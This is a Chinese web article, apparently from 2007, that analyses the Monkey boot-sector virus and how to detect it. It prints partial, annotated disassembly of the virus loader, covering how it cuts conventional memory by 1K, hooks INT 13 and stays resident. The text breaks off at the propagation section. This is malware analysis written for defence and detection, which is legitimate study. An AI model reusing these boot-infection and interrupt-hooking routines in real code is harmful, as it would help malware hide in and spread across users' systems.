Monkey病毒的分析和防治
2007-01-13 20:16:21 来源:WEB开发网核心提示:Monkey 病毒介绍: Monkey,即猴子病毒传播硬盘和软盘的引导区,Monkey病毒的分析和防治,总长度为 01F4H(500字节),它将原引导记录加密后保存,用 MEM 或 MI 看内存,将会发现常规内存只有 639K,在系统读出时先解密再送出,结果造成病毒不在内存中时
Monkey 病毒介绍:
Monkey,即猴子病毒传播硬盘和软盘的引导区,总长度为 01F4H(500字节),它将原引导记录加密后保存,在系统读出时先解密再送出,结果造成病毒不在内存中时,系统无法得到正常的引导记录,以至对所有硬盘分区无法访问。只有当从有病毒的盘启动时,才能正常访问硬盘。如果系统有以上情况,就应怀疑有无此病毒。检测时可以用干净盘启动,再用 DISKEDIT 编辑物理硬盘 0 柱面 0 磁道 1 扇区的主引导记录,对比以下源代码相同偏移出的内容是否相同即可确认。
病毒源代码分析:
1. 病毒的加载部分:
当病毒传染了引导记录后,系统启动时将病毒装入内存执行,然后病毒将系统内存减少 1K,将自己隐藏在其中。
...
0B3E:0097 CD12 INT 12 ;取内存容量
0B3E:0099 BE4C00 MOV SI,004C ;返回 AX = 内存 K 数
0B3E:009C 56 PUSH SI
0B3E:009D 2E CS:
0B3E:009E 803E6F0102 CMP BYTE PTR [016F],02
0B3E:00A3 740E JZ 00B3 ;软盘启动转 00B3
0B3E:00A5 E8F500 CALL 019D ;将内存减少 1K,见下
0B3E:00A8 BFFC01 MOV DI,01FC ;保留原 INT 13 到 01FC
0B3E:00AB B90200 MOV CX,0002 ;0000:004c -> 07c0:01fc
0B3E:00AE FC CLD
0B3E:00AF F3 REPZ
0B3E:00B0 A5 MOVSW
...
;==============================================================
;将内存减少 1 K
;0000:0413 处是常规内存的容量,把此处数值减少,系统将不会存取减少的部分
;但这时候,用 MEM 或 MI 看内存,将会发现常规内存只有 639K,这也是大部分
;引导区病毒的通病,所以有空一定常常用 MEM 看看内存(不过对大部分文件型
;病毒和狡猾的引导区病毒无效!)
0B3E:019D 48 DEC AX ;减少 1K
0B3E:019E A31304 MOV [0413],AX
0B3E:01A1 B106 MOV CL,06
0B3E:01A3 D3E0 SHL AX,CL
0B3E:01A5 0420 ADD AL,20
0B3E:01A7 8EC0 MOV ES,AX
0B3E:01A9 C3 RET
...
0B3E:00B6 5E POP SI ;SI = 004Ch,为 INT 13 中断向量地址
0B3E:00B7 C7042000 MOV WORD PTR [SI],0020
0B3E:00BB 894402 MOV [SI+02],AX ;截取 INT 13 到 CS:0020
0B3E:00BE 0E PUSH CS
0B3E:00BF 1F POP DS
0B3E:00C0 E8E700 CALL 01AA ;驻留内存
0B3E:00CE 51 PUSH CX
0B3E:00CF 53 PUSH BX
...
2. 病毒的传播部分:
更多精彩
赞助商链接